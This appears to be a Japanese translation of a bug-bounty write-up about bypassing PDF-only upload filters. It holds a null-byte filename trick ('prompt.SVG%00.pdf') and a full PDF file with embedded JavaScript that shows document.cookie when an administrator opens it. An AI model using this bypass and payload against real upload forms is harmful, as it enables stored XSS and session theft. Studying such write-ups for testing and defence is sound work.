Shikata Ga Nai

Private? There is no such things.

Bragging Rights: Killing File Uploads softlyを訳してみた

Hello there, ('ω')ノ

 

自慢する権利:ファイルのアップロードをやさしく殺す

 

脆弱性:

 無制限のファイルアップロード

 保存されたXSS

 

記事:

 https://infosecwriteups.com/bragging-rights-killing-file-uploads-softly-fba35a4e485a

 

今回は、無制限のファイルアップロードの結果について。

 

週末にファイルのアップロードに丸一日を与えることを考え。

ファイルをアップロードできるSynackのすべてのプログラムを検索して。

 

https://www.synack.com/blog/?post_type=post&s=file+upload&category_name=0

f:id:ThisIsOne:20220404102243p:plain

 

4〜5個のプログラムを入手し、それらすべてをチェックすることに。

2つのプログラムでは、ファイルのアップロードがすでに報告されているため。

先に進むことができず。

残りの2つのターゲットはまったく新しいものであり。

ファイルのアップロードなどの報告は誰もなかったので、運が良くて。

それを使って何か奇妙なことができるかどうかを確かめるために。

機能をいじり始めて。

このウェブサイトはPDFのみを受け入れていたので。

Burp Suiteを使用してphpファイルをアップロードする従来の方法を試しましたが。

機能せずに、そこではPDF以外のものを受け入れておらず。

 

最初は、ファイルの名前をXSSペイロードに変更してファイルを。

アップグレードしようとしましたが動作せず。

PDF拡張子の付いたSVGファイルを使用できるとしたら動作するかを。

拡張機能にnull byteを追加して確認することに。

 prompt.SVG%00.pdf

 

すると、アプリはファイルを受け入れていて、アップロード後に。

誰でもアップロードされたものをダウンロードできて。

ファイルを開くとすぐに、XSSがポップアップして。

 

2番目のケースもまったく同じで、レセプトをアップロードして管理者が承認して。

同じ方法を適用しましたが、どういうわけかうまくいかず。

Googleに戻り、制限を回避できるリソースをさらに検索して。

悪意のあるコンテンツを含むPDFレシートをアップロードでき。

誰かがレポートを開いたときにペイロードが実行されることを確認できて。

 

https://github.com/swisskyrepo/PayloadsAllTheThings

f:id:ThisIsOne:20220404083602p:plain

 

PDFにJavaScriptを挿入する方法は、下記が全体の内容で。

 

%PDF-1.3
%âãÏÓ
1 0 obj
<</Pages 2 0 R /Type /Catalog>>
endobj
2 0 obj
<</Count 1 /Kids [3 0 R] /Type /Pages>>
endobj
3 0 obj
<</AA
<</O
<</JS
(
try {
app.alert\(document.cookie\)
} catch \(e\) {
app.alert\(e.message\);
}
)
/S /JavaScript>>>>
/Annots [] /Contents 4 0 R /MediaBox [0 0 612 792] /Parent 2 0 R
/Resources
<</Font <</F1 <</BaseFont /Helvetica /Subtype /Type1 /Type /Font>>>>>>
/Type /Page>>
endobj
4 0 obj
<</Length 21>>
stream

BT
/F1 24 Tf
ET

endstream
endobj
xref
0 5
0000000000 65535 f
0000000015 00000 n
0000000062 00000 n
0000000117 00000 n
0000000424 00000 n
trailer

<</Root 1 0 R /Size 5>>
startxref
493
%%EOF

 

参考:

https://insert-script.blogspot.com/2016/10/pdf-how-to-steal-pdfs-by-injecting.html

f:id:ThisIsOne:20220404101901p:plain

 

管理者がレポートを開くとすぐに、ポップアップが表示されて。

被害者が自分のシステムにダウンロードする必要があるかどうかを。

確認する必要があって。

問題が発生した場合は、意味がなく。

同じターゲットの新しいタブで実行されており、有効なバグと見なされて。

ファイルのアップロードは非常に簡単で、必要なのは別のアプローチだけで。

 

Best regards, (^^ゞ